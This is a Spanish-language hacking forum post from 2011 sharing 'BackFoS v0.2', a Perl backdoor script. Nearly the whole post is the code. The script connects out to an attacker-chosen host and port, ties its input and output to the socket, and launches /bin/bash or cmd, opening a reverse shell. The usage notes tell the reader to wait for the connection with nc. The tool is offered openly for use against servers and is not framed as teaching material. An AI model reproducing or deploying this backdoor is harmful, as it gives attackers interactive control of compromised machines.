Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

BackFoS v0.2 [FOS TEAM BACKDOOR]

  • 0 Respuestas
  • 1139 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado @ed33x

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Enero 27, 2011, 08:45:11 pm »
Código: Perl
  1. #!/usr/bin/perl
  2.  
  3. ########### BackFoS v0.2 - By FoS TeaM - [-----] ##########
  4. #                                                         #
  5. #     BackFoS is a Backdoor in PERL for  all  Servers     #
  6. #            c0dex by Vengador de las Sombras             #
  7. #                                                         #
  8. #          USAGE: Perl BackFoS.pl <HOST> <PORT> <OS>      #
  9. #     You need have listen nc, cryptcar, putty or other   #
  10. #      program on <PORT> to connect with the backdoor     #
  11. #                                                         #
  12. #=========================================================#
  13. #                                                         #
  14. #  Gr3tz to: Lutscher, WaesWaes, CHR0N05, Keynet, Fr34k,  #      
  15. # LiƒÂ«ssiiƒÂ«m TiƒÂ¡riƒÂ¡lom, Phonix & ArgeniversoHack & #RE members #
  16. #      Especial Thanx To Plaga, for the help =)           #
  17. #                                                         #
  18. #################### (c)FoS TeaM 2008 #####################
  19.  
  20. use IO::Socket;
  21.  
  22.  
  23. =================================================
  24.    BackFoS.pl c0dex by FoS TeaM
  25. =================================================
  26. );
  27. $ARGC = @ARGV;
  28. if ($ARGC != 3){
  29. print "\nUsage: BackFoS.pl <HOST> <PORT> <OS>";
  30. exit(0);
  31. }
  32.  
  33. $host = $ARGV[0];
  34. $port = $ARGV[1];
  35. $OS = $ARGV[2];
  36. use Socket;
  37.  
  38. print "[+]Connecting to $host ...";
  39. socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
  40.                                                      || die "[-] Cannot Resolve $host";
  41. connect(SOCKET, sockaddr_in($port, inet_aton($host)))
  42.                                                      || die "[-] Cannot Connect to $host";
  43.  
  44. print "\n[+] Connected!";
  45.  
  46. open(STDIN, ">&SOCKET");
  47. open(STDOUT,">&SOCKET");
  48. open(STDERR,">&SOCKET");
  49.  
  50. print "\n .::BackFoS v0.2 - FoS TeaM - [-----]\n";
  51. if ($OS == "-l"){
  52. $ejecutor = "/bin/bash";
  53. system($ejecutor);
  54. }
  55.  
  56. if ($OS == "-w"){
  57. $ejecutor = "cmd";
  58. system($ejecutor);
  59. }
« Última modificación: Marzo 14, 2015, 09:51:03 am por Expermicid »
Me cambie de messenger ahora es: edeex@live.com

 

¿Te gustó el post? COMPARTILO!